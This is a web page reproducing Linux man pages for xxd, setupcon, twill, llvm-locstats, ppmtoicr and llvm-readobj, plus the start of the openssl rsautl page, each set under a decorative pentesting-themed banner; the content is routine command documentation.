Switch to bits (binary digits) dump, rather than hex dump. This option writes octets as eight digits “1"s and “0"s instead of a normal hexadecimal dump. Each line is preceded by a line number in hexadecimal and followed by an ASCII (or EBCDIC) representation. The command line switches -p, -i do not work with this mode.

-c cols | -cols cols
Format <cols> octets per line. Default 16 (-i: 12, -ps: 30, -b: 6). Max 256. No maximum for -ps. With -ps, 0 results in one long line of output.

-C | -capitalize
Capitalize variable names in C include file style, when using -i.

-d
show offset in decimal instead of hex.

-E | -EBCDIC
Change the character encoding in the righthand column from ASCII to EBCDIC. This does not change the hexadecimal representation. The option is meaningless in combinations with -r, -p or -i.

-e
Switch to little-endian hex dump. This option treats byte groups as words in little-endian byte order. The default grouping of 4 bytes may be changed using -g. This option only applies to the hex dump, leaving the ASCII (or EBCDIC) representation unchanged. The command line switches -r, -p, -i do not work with this mode.

-g bytes | -groupsize bytes
Separate the output of every <bytes> bytes (two hex characters or eight bit digits each) by a whitespace. Specify -g 0 to suppress grouping. <Bytes> defaults to 2 in normal mode, 4 in little-endian mode and 1 in bits mode. Grouping does not apply to PostScript or include style.

-h | -help
Print a summary of available commands and exit. No hex dumping is performed.

-i | -include
Output in C include file style. A complete static array definition is written (named after the input file), unless xxd reads from stdin.

-l len | -len len
Stop after writing <len> octets.

-n name | -name name
Override the variable name output when -i is used. The array is named name and the length is named name_len.

-o offset
Add <offset> to the displayed file position.

-p | -ps | -postscript | -plain
Output in PostScript continuous hex dump style. Also known as plain hex dump style.

-r | -revert
Reverse operation: convert (or patch) hex dump into binary. If not writing to stdout, xxd writes into its output file without truncating it. Use the combination -r -p to read plain hexadecimal dumps without line number information and without a particular column layout. Additional whitespace and line breaks are allowed anywhere. Use the combination -r -b to read a bits dump instead of a hex dump.

-R when
In the output the hex-value and the value are both colored with the same color depending on the hex-value. Mostly helping to differentiate printable and non-printable characters. when is never, always, or auto”**(default:**auto). When the $NO_COLOR environment variable is set, colorization will be disabled.

-seek offset
When used after -r: revert with <offset> added to file positions found in hex dump.

-s [+][-]seek
Start at <seek> bytes abs. (or rel.) infile offset. + indicates that the seek is relative to the current stdin file position (meaningless when not reading from stdin). - indicates that the seek should be that many characters from the end of the input (or if combined with +: before the current stdin file position). Without -s option, xxd starts at the current file position.

-u
Use upper-case hex letters. Default is lower-case.

-v | -version
Show version string.

CAVEATS

xxd -r has some built-in magic while evaluating line number information. If the output file is seekable, then the line numbers at the start of each hex dump line may be out of order, lines may be missing, or overlapping. In these cases xxd will lseek(2) to the next position. If the output file is not seekable, only gaps are allowed, which will be filled by null-bytes.

xxd -r never generates parse errors. Garbage is silently skipped.

When editing hex dumps, please note that xxd -r skips everything on the input line after reading enough columns of hexadecimal data (see option -c). This also means that changes to the printable ASCII (or EBCDIC) columns are always ignored. Reverting a plain (or PostScript) style hex dump with xxd -r -p does not depend on the correct number of columns. Here, anything that looks like a pair of hex digits is interpreted.

Note the difference between
% xxd -i file
and
% xxd -i < file

xxd -s +seek may be different from xxd -s seek, as lseek(2) is used to “rewind” input. A ‘+’ makes a difference if the input source is stdin, and if stdin’s file position is not at the start of the file by the time xxd is started and given its input. The following examples may help to clarify (or further confuse!):

Rewind stdin before reading; needed because the `cat’ has already read to the end of stdin.
% sh -c “cat > plain_copy; xxd -s 0 > hex_copy” < file

Hex dump from file position 0x480 (=1024+128) onwards. The `+’ sign means “relative to the current position”, thus the `128’ adds to the 1k where dd left off.
% sh -c “dd of=plain_snippet bs=1k count=1; xxd -s +128 > hex_snippet” < file

Hex dump from file position 0x100 (=1024-768) onwards.
% sh -c “dd of=plain_snippet bs=1k count=1; xxd -s +-768 > hex_snippet” < file

However, this is a rare situation and the use of `+’ is rarely needed. The author prefers to monitor the effect of xxd with strace(1) or truss(1), whenever -s is used.

EXAMPLES

Print everything but the first three lines (hex 0x30 bytes) of file.
% xxd -s 0x30 file

Print 3 lines (hex 0x30 bytes) from the end of file.
% xxd -s -0x30 file

Print 120 bytes as a continuous hex dump with 20 octets per line.
% xxd -l 120 -ps -c 20 xxd.1
2e54482058584420312022417567757374203139
39362220224d616e75616c207061676520666f72
20787864220a2e5c220a2e5c222032317374204d
617920313939360a2e5c22204d616e2070616765
20617574686f723a0a2e5c2220202020546f6e79
204e7567656e74203c746f6e79407363746e7567

Hex dump the first 120 bytes of this man page with 12 octets per line.
% xxd -l 120 -c 12 xxd.1
0000000: 2e54 4820 5858 4420 3120 2241 .TH XXD 1 “A
000000c: 7567 7573 7420 3139 3936 2220 ugust 1996”
0000018: 224d 616e 7561 6c20 7061 6765 “Manual page
0000024: 2066 6f72 2078 7864 220a 2e5c for xxd”..\
0000030: 220a 2e5c 2220 3231 7374 204d “..\ 21st M
000003c: 6179 2031 3939 360a 2e5c 2220 ay 1996..\
0000048: 4d61 6e20 7061 6765 2061 7574 Man page aut
0000054: 686f 723a 0a2e 5c22 2020 2020 hor:..\
0000060: 546f 6e79 204e 7567 656e 7420 Tony Nugent
000006c: 3c74 6f6e 7940 7363 746e 7567 <tony@sctnug

Display just the date from the file xxd.1
% xxd -s 0x36 -l 13 -c 13 xxd.1
0000036: 3231 7374 204d 6179 2031 3939 36 21st May 1996

Copy input_file to output_file and prepend 100 bytes of value 0x00.
% xxd input_file | xxd -r -s 100 > output_file

Patch the date in the file xxd.1
% echo “0000037: 3574 68” | xxd -r - xxd.1
% xxd -s 0x36 -l 13 -c 13 xxd.1
0000036: 3235 7468 204d 6179 2031 3939 36 25th May 1996

Create a 65537 byte file with all bytes 0x00, except for the last one which is ‘A’ (hex 0x41).
% echo “010000: 41” | xxd -r > file

Hex dump this file with autoskip.
% xxd -a -c 12 file
0000000: 0000 0000 0000 0000 0000 0000 …………
*
000fffc: 0000 0000 40 ….A

Create a 1 byte file containing a single ‘A’ character. The number after ‘-r -s’ adds to the line numbers found in the file; in effect, the leading bytes are suppressed.
% echo “010000: 41” | xxd -r -s -0x10000 > file

Use xxd as a filter within an editor such as vim(1) to hex dump a region marked between `a’ and `z’.
:‘a,‘z!xxd

Use xxd as a filter within an editor such as vim(1) to recover a binary hex dump marked between `a’ and `z’.
:‘a,‘z!xxd -r

Use xxd as a filter within an editor such as vim(1) to recover one line of a hex dump. Move the cursor over the line and type:
!!xxd -r

Read single characters from a serial line
% xxd -c1 < /dev/term/b &
% stty < /dev/term/b -echo -opost -isig -icanon min 1
% echo -n foo > /dev/term/b

RETURN VALUES

The following error values are returned:

0
no errors encountered.

-1
operation not supported ( xxd -r -i still impossible).

1
error while parsing options.

2
problems with input file.

3
problems with output file.

4,5
desired seek position is unreachable.

SEE ALSO

uuencode(1), uudecode(1), patch(1)

WARNINGS

The tool’s weirdness matches its creator’s brain. Use entirely at your own risk. Copy files. Trace it. Become a wizard.

VERSION

This manual page documents xxd version 1.7

AUTHOR

(c) 1990-1997 by Juergen Weigert
<[email protected]>

Distribute freely and credit me,
make money and share with me,
lose money and don’t ask me.

Manual page started by Tony Nugent
<[email protected]> <[email protected]>
Small changes by Bram Moolenaar. Edited by Juergen Weigert.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

697 - Linux cli command setupcon

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setupcon and provides detailed information about the command setupcon, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setupcon.

NAME 🖥️ setupcon 🖥️

sets up the font and the keyboard on the console

SYNOPSIS

setupcon [OPTION]… [VARIANT]

DESCRIPTION

setupcon is a program for fast and easy setup of the font and the keyboard on the console. Most of the time you invoke setupcon without arguments. The keyboard configuration is specified in ~/.keyboard or /etc/default/keyboard. The font configuration is specified in ~/.console-setup or /etc/default/console-setup. Consult keyboard(5) and console-setup(5) for instructions how to configure these two files.

If you have to switch often between different encodings, keyboards or languages, you can prepare several alternative configuration files for setupcon. Suppose that most of the time you will use Greek language with Greek keyboard layout, but sometimes you need to type in German with German keyboard layout. In this situation you should customize the main configuration files

(keyboard and console-setup)

for Greek. Also, create alternative configuration files for German named

keyboard.german and console-setup.german.

Then in order to configure the console for Greek you will simply run the command with no arguments: setupcon and in order to configure the console for German you will use

setupcon german.

OPTIONS

VARIANT
Specifies which configuration file to use. With no variant, the configuration files of setupcon are named console-setup and keyboard. On the other hand, if you use e.g. chukchi as VARIANT then the configuration files are console-setup.chukchi and keyboard.chukchi. In this way you can have easy access to several different configurations - for example one for the Chukchi language and another for the default configuration.

-v, –verbose
Be more verbose. Use this option if something goes wrong or while experimenting with the configuration files.

-k, –keyboard-only
Setup the keyboard only, do not setup the font or the terminal. On Linux it is enough to do this configuration only once.

-f, –font-only
Setup the font only, do not setup the keyboard or the terminal. On Linux this configuration should be repeated each time a new console driver is activated (for example when the frame buffer becomes active).

-t, –terminal-only
Setup the terminal only, do not setup the keyboard or the font.

–current-tty
Setup the only the current virtual terminal.

–force
Do not check whether we are on the console. Notice that you can be forced to hard-reboot your computer if you run setupcon with this option and the screen is controlled by a X server.

–save
This option can be useful if you want to use setupcon early in the boot process while /usr is not yet mounted and the required data are not available. This option will make setupcon copy the required files in /etc/console-setup/ in order to make them available before /usr is mounted. If you use setupcon early in the boot process, then you should run it with this option after every change of the console configuration.

–save-only
The same as –save, but does not setup anything. This option can be useful if you want to save the required files while the screen is controlled by a X server.

**–save-keyboard **FILE
For use by initrd builders. Do not configure anything. Save an usable keyboard layout in FILE.

**–setup-dir **DIR
For use by initrd builders. Do not configure anything. Arrange in the directory DIR everything necessary in order to configure the console. The file DIR/morefiles lists all binaries the initrd builder has to install in the initrd image. All other files in DIR have to be copied unchanged in the initrd. In order to configure the console one has to run the script DIR/bin/setupcon.

-h, –help
Display usage information.

FILES

~/.console-setup
~/.keyboard
/etc/default/console-setup
/etc/default/keyboard
/etc/default/console-setup.VARIANT
/etc/default/keyboard.VARIANT
/etc/console-setup/

SEE ALSO

keyboard(5), console-setup(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

698 - Linux cli command twill

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command twill and provides detailed information about the command twill, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the twill.

NAME 🖥️ twill 🖥️

refsort - translate Web to TeX with mini-indexes

SYNOPSIS

twill [-x] webfile[.web] [{changefile[.ch]|-} [outfile[.tex]]]

twill-refsort < reffile**.ref** > sreffile**.sref**

DESCRIPTION

The twill program is used to create a TeX file for viewing a Web program. It takes appropriate care of typographic details like page layout and the use of indentation, italics, boldface, etc., and it supplies extensive cross-index information in the form of ‘mini-indexes’ for each spread of pages and a ‘master index’ at the end that it gathers automatically.

The command line arguments are the same as for weave including the option: -x says to omit the indexes, module name list, and table of contents pages. (A CONTENTS.tex file will still be written when the TeX file is processed, however, unless some macros in twimac-web.tex are redefined.)

The output TeX file name is formed by adding .tex to the root of the Web file name.

There are several macros that probably should be redefined by the programmer at the beginning of the Web file. It is a good idea to set itle to the name of the program.

twill is exactly like weave except that it produces better documentation, for which you must work harder. You should run twill twice, once to prime the pump and once to get decent answers. Moreover, you must run the output twice through TeX.

After tex foo you will have output that looks like final pages except that the entries of mini-indexes won’t be alphabetized. The first run produces a weird file called foo.ref. Say twill-refsort < foo.ref > foo.sref and then another tex foo will produce alphabetized output.

ENVIRONMENT

The environment variable WEBINPUTS is used to search for the input files, or the system default if WEBINPUTS is not set. See tex(1) for the details of the searching.

FILES

$TEXMFMAIN/tex/plain/cweb/cwebbin/twimac-web.tex
TeX macros used by twill output.

SEE ALSO

tangle(1) for references, authors, and other information.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

699 - Linux cli command llvm-locstats-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-locstats-17 and provides detailed information about the command llvm-locstats-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-locstats-17.

NAME 🖥️ llvm-locstats-17 🖥️

locstats - calculate statistics on DWARF debug location

SYNOPSIS

llvm-locstats [options] [filename]

DESCRIPTION

llvm-locstats works like a wrapper around llvm-dwarfdump. It parses llvm-dwarfdump statistics regarding debug location by pretty printing it in a more human readable way.

The line 0% shows the number and the percentage of DIEs with no location information, but the line 100% shows the information for DIEs where there is location information in all code section bytes (where the variable or parameter is in the scope). The line [50%,60%) shows the number and the percentage of DIEs where the location information is between 50 and 60 percentage of its scope covered.

OPTIONS

–only-variables
calculate the location statistics only for local variables

–only-formal-parameters
calculate the location statistics only for formal parameters

–ignore-debug-entry-values
ignore the location statistics on locations containing the debug entry values DWARF operation

–draw-plot
make histogram of location buckets generated (requires matplotlib)

–compare
compare the debug location coverage on two files provided, and draw a plot showing the difference (requires matplotlib)

EXIT STATUS

llvm-locstats returns 0 if the input file were parsed successfully. Otherwise, it returns 1.

EXAMPLE 1

Pretty print the location coverage on the standard output.

llvm-locstats a.out

  =================================================
            Debug Location Statistics
  =================================================
        cov%          samples       percentage(~)
  -------------------------------------------------
     0%                    1              16%
     (0%,10%)              0               0%
     [10%,20%)             0               0%
     [20%,30%)             0               0%
     [30%,40%)             0               0%
     [40%,50%)             0               0%
     [50%,60%)             1              16%
     [60%,70%)             0               0%
     [70%,80%)             0               0%
     [80%,90%)             1              16%
     [90%,100%)            0               0%
     100%                  3              50%
  =================================================
  -the number of debug variables processed: 6
  -PC ranges covered: 81%
  -------------------------------------------------
  -total availability: 83%
  =================================================

EXAMPLE 2

Generate a plot as an image file.

llvm-locstats –draw-plot file1.out

[image]

EXAMPLE 3

Generate a plot as an image file showing the difference in the debug location coverage.

llvm-locstats –compare file1.out file1.withentryvals.out

[image]

SEE ALSO

llvm-dwarfdump(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

700 - Linux cli command ppmtoicr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoicr and provides detailed information about the command ppmtoicr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoicr.

.

NAME 🖥️ ppmtoicr 🖥️

convert a PPM image into NCSA ICR format

SYNOPSIS

ppmtoicr

[-windowname name]

[-expand expand]

[-display display]

[ppmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoicr reads a PPM file as input. Produces an NCSA Telnet Interactive Color Raster graphic file as output.

If ppmfile is not supplied, ppmtoicr reads from Standard Input.

Interactive Color Raster (ICR) is a protocol for displaying raster graphics on workstation screens. The protocol is implemented in NCSA Telnet for the Macintosh version 2.3. The ICR protocol shares characteristics of the Tektronix graphics terminal emulation protocol. For example, escape sequences are used to control the display.

ppmtoicr will output the appropriate sequences to create a window of the dimensions of the input image, create a colormap of up to 256 colors on the display, then load the picture data into the window.

Note that there is no icrtoppm tool - this transformation is one way.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtoicr recognizes the following command line options:

-windowname name
Output will be displayed in name.

name must be printable characters, and not ‘^’.

Default is to use the input file name if specified on the command line or “untitled” if the input is from Standard Input. In the former case, any unprintable character or ‘^’ in the file name becomes a ‘.’ in the window name.

-expand expand
Output will be expanded on display by factor expand (For example, a value of 2 will cause four pixels to be displayed for every input pixel.)

-display display
Output will be displayed on screen numbered display

EXAMPLES

To display a PPM file named ppmfile using the protocol:

    ppmtoicr ppmfile

This will create a window named ppmfile on the display with the correct dimensions for ppmfile, create and download a colormap of up to 256 colors, and download the picture into the window. You may achieve the same effect with the following sequence:

    ppmtoicr ppmfile > filename
    cat filename

To display a GIF file using the protocol in a window titled after the input file, zoom the displayed image by a factor of 2:

    giftopnm giffile | ppmtoicr -windowname=giffile -expand=2

LIMITATIONS

The protocol uses frequent fflush() calls to speed up display. If you save the output to a file for later display via cat, ppmtoicr will draw much more slowly. In either case, increasing the blocksize limit on the display will speed up transmission substantially.

SEE ALSO

ppm(1)

NCSA Telnet for the Macintosh, University of Illinois at Urbana-Champaign (1989)

HISTORY

Until Netpbm 10.71 (June 2015), there was a -rle option documented, which was said to cause the output to use run length encoding compression. But because of a simple bug in option processing code, the option never had any effect. And the compression code did not look like it worked anyway and would take a fair amount of work to fix. Because it was unlikely anyone would ever use this program again, much less want to use run length encoding, we removed it from the documentation rather than fix the code.

AUTHOR

Copyright (C) 1990 by Kanthan Pillay ([email protected]), Princeton University Computing and Information Technology.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoicr.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

701 - Linux cli command llvm-readobj-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-readobj-17 and provides detailed information about the command llvm-readobj-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-readobj-17.

NAME 🖥️ llvm-readobj-17 🖥️

readobj - LLVM Object Reader

SYNOPSIS

llvm-readobj [options] [input…]

DESCRIPTION

The llvm-readobj tool displays low-level format-specific information about one or more object files.

If input is “-”, llvm-readobj reads from standard input. Otherwise, it will read from the specified filenames.

DIFFERENCES TO LLVM-READELF

llvm-readelf is an alias for the llvm-readobj tool with a slightly different command-line interface and output that is GNU compatible. Following is a list of differences between llvm-readelf and llvm-readobj*:*

  • llvm-readelf uses GNU for the –elf-output-style option by default. llvm-readobj uses LLVM.

  • llvm-readelf allows single-letter grouped flags (e.g. llvm-readelf -SW is the same as llvm-readelf -S -W*).* llvm-readobj does not allow grouping.

  • llvm-readelf provides -s as an alias for –symbols, for GNU readelf compatibility, whereas it is an alias for –section-headers in llvm-readobj*.*

  • llvm-readobj provides -t as an alias for –symbols. llvm-readelf does not.

  • llvm-readobj provides –sr*,* –sd*,* –st and –dt as aliases for –section-relocations, –section-data, –section-symbols and –dyn-symbols respectively. llvm-readelf does not provide these aliases, to avoid conflicting with grouped flags.

GENERAL AND MULTI-FORMAT OPTIONS

These options are applicable to more than one file format, or are unrelated to file formats.

–all
Equivalent to specifying all the main display options relevant to the file format.

–addrsig
Display the address-significance table.

–expand-relocs
When used with –relocs, display each relocation in an expanded multi-line format.

–file-header, -h
Display file headers.

–headers, -e
Equivalent to setting: –file-header, –program-headers, and –sections.

–help
Display a summary of command line options.

–hex-dump=<section[,section,…]>, -x
Display the specified section(s) as hexadecimal bytes. section may be a section index or section name.

–memtag

Display information about memory tagging present in the binary. This includes various memtag-specific dynamic entries, decoded global descriptor sections, and decoded Android-specific ELF notes.

–needed-libs
Display the needed libraries.

–relocations, –relocs, -r
Display the relocation entries in the file.

–sections, –section-headers, -S
Display all sections.

–section-data, –sd
When used with –sections, display section data for each section shown. This option has no effect for GNU style output.

–section-relocations, –sr
When used with –sections, display relocations for each section shown. This option has no effect for GNU style output.

–section-symbols, –st
When used with –sections, display symbols for each section shown. This option has no effect for GNU style output.

–sort-symbols=<sort_key[,sort_key]>
Specify the keys to sort symbols before displaying symtab. Valid values for sort_key are name and type*.*

–stackmap
Display contents of the stackmap section.

–string-dump=<section[,section,…]>, -p
Display the specified section(s) as a list of strings. section may be a section index or section name.

–string-table
Display contents of the string table.

–symbols, –syms, -s
Display the symbol table.

–unwind, -u
Display unwind information.

–version
Display the version of the llvm-readobj executable.

@<FILE>
Read command-line options from response file <FILE>.

ELF SPECIFIC OPTIONS

The following options are implemented only for the ELF file format.

–arch-specific, -A
Display architecture-specific information, e.g. the ARM attributes section on ARM.

–bb-addr-map
Display the contents of the basic block address map section(s), which contain the address of each function, along with the relative offset of each basic block.

–demangle, -C
Display demangled symbol names in the output.

–dependent-libraries
Display the dependent libraries section.

–dyn-relocations
Display the dynamic relocation entries.

–dyn-symbols, –dyn-syms, –dt
Display the dynamic symbol table.

–dynamic-table, –dynamic, -d
Display the dynamic table.

–cg-profile
Display the callgraph profile section.

–histogram, -I
Display a bucket list histogram for dynamic symbol hash tables.

–elf-linker-options
Display the linker options section.

–elf-output-style=<value>
Format ELF information in the specified style. Valid options are LLVM*,* GNU*, and* JSON*.* LLVM output (the default) is an expanded and structured format. GNU output mimics the equivalent GNU readelf output. JSON is JSON formatted output intended for machine consumption.

–section-groups, -g
Display section groups.

–gnu-hash-table
Display the GNU hash table for dynamic symbols.

–hash-symbols
Display the expanded hash table with dynamic symbol data.

–hash-table
Display the hash table for dynamic symbols.

–memtag
Display information about memory tagging present in the binary. This includes various dynamic entries, decoded global descriptor sections, and decoded Android-specific ELF notes.

–notes, -n
Display all notes.

–pretty-print
When used with –elf-output-style, JSON output will be formatted in a more readable format.

–program-headers, –segments, -l
Display the program headers.

–raw-relr
Do not decode relocations in RELR relocation sections when displaying them.

–section-mapping
Display the section to segment mapping.

–stack-sizes
Display the contents of the stack sizes section(s), i.e. pairs of function names and the size of their stack frames. Currently only implemented for GNU style output.

–version-info, -V
Display version sections.

MACH-O SPECIFIC OPTIONS

The following options are implemented only for the Mach-O file format.

–macho-data-in-code
Display the Data in Code command.

–macho-dsymtab
Display the Dsymtab command.

–macho-indirect-symbols
Display indirect symbols.

–macho-linker-options
Display the Mach-O-specific linker options.

–macho-segment
Display the Segment command.

–macho-version-min
Display the version min command.

PE/COFF SPECIFIC OPTIONS

The following options are implemented only for the PE/COFF file format.

–codeview
Display CodeView debug information.

–codeview-ghash
Enable global hashing for CodeView type stream de-duplication.

–codeview-merged-types
Display the merged CodeView type stream.

–codeview-subsection-bytes
Dump raw contents of CodeView debug sections and records.

–coff-basereloc
Display the .reloc section.

–coff-debug-directory
Display the debug directory.

–coff-tls-directory
Display the TLS directory.

–coff-directives
Display the .drectve section.

–coff-exports
Display the export table.

–coff-imports
Display the import table.

–coff-load-config
Display the load config.

–coff-resources
Display the .rsrc section.

XCOFF SPECIFIC OPTIONS

The following options are implemented only for the XCOFF file format.

–auxiliary-header
Display XCOFF Auxiliary header.

–exception-section
Display XCOFF exception section entries.

–loader-section-header
Display XCOFF loader section header.

–loader-section-symbols
Display symbol table of loader section.

–loader-section-relocations
Display relocation entries of loader section.

EXIT STATUS

llvm-readobj returns 0 under normal operation. It returns a non-zero exit code if there were any errors.

SEE ALSO

llvm-nm(1), llvm-objdump(1), llvm-readelf(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

702 - Linux cli command openssl-rsautlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-rsautlssl and provides detailed information about the command openssl-rsautlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-rsautlssl.

NAME 🖥️ openssl-rsautlssl 🖥️

rsautl - RSA command

SYNOPSIS

openssl rsautl [-help] [-in file] [-passin arg] [-rev] [-out file] [-inkey filename|uri] [-keyform DER|PEM|P12|ENGINE] [-pubin] [-certin] [-sign] [-verify] [-encrypt] [-decrypt] [-pkcs] [-x931] [-oaep] [-raw] [-hexdump] [-asn1parse] [-engine id] [-rand files] [-writerand file] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command has been deprecated. The openssl-pkeyutl (1) command should be used instead.

This command can be used to sign, verify, encrypt and decrypt data using the RSA algorithm.

OPTIONS

-help
Print out a usage message.

-in filename
This specifies the input filename to read data from or standard input if this option is not specified.

-passin arg
The passphrase used in the output file. See see openssl-passphrase-options (1).

-rev
Reverse the order of the input.

-out filename
